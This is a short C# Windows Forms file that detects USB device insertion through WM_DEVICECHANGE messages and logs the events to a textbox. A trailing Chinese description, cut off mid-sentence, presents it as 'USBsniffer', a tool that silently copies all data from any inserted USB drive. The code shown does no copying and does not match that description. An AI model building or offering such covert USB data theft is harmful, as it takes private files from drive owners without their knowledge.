using System; 
using System.Collections.Generic; 
using System.ComponentModel; 
using System.Data; 
using System.Drawing; 
using System.Text; 
using System.Windows.Forms; 
using System.Runtime.InteropServices; 
 
namespace upan 
{ 
    public partial class Form1 : Form 
    { 
        public Form1() 
        { 
            InitializeComponent(); 
        } 
        public Message mm; 
        protected override void WndProc(ref Message m) //监视Windows消息 
        { 
            const int WM_DEVICECHANGE = 0x219; 
            const int WM_DEVICEARRVIAL = 0x8000;//如果m.Msg的值为0x8000那么表示有U盘插入 
            const int WM_DEVICEMOVECOMPLETE = 0x8004; 
            switch (m.Msg) 
            { 
                case WM_DEVICECHANGE: 
                    { 
                        ShowDeviceChanged("WM_DEVICECHANGE"); 
                        if (m.WParam.ToInt32() == WM_DEVICEARRVIAL) 
                            ShowDeviceChanged("WM_DEVICEARRVIAL"); 
                        else if (m.WParam.ToInt32() == WM_DEVICEMOVECOMPLETE) 
                            ShowDeviceChanged("WM_DEVICEMOVECOMPLETE"); 
                    } 
                    break; 
            } 
            base.WndProc(ref m); //将系统消息传递自父类的WndProc 
 
        } 
        public void ShowDeviceChanged(string message) 
        { 
            switch (message) 
            { 
                case "WM_DEVICECHANGE": 
                    this.textBox_Message.Text += "Device Changed \r\n"; 
                    break; 
                case "WM_DEVICEMOVECOMPLETE": 
                    this.textBox_Message.Text += "Device Moved\r\n"; 
                    break; 
                case "WM_DEVICEARRVIAL": 
                    this.textBox_Message.Text += "Device Arrived\r\n"; 
                    break; 
            } 
        } 
 
        private void Form1_Load(object sender, EventArgs e) 
        { 
            WndProc(ref mm); 
        } 
    } 
} 

/*USBsniffer*/

功能简介：

本程序以3秒为周期，自动检测本地磁盘改动信息，如果发现有移动硬盘或者U盘等USB存储设备后，会主动窃取其中所有信息，并保存在用户指定路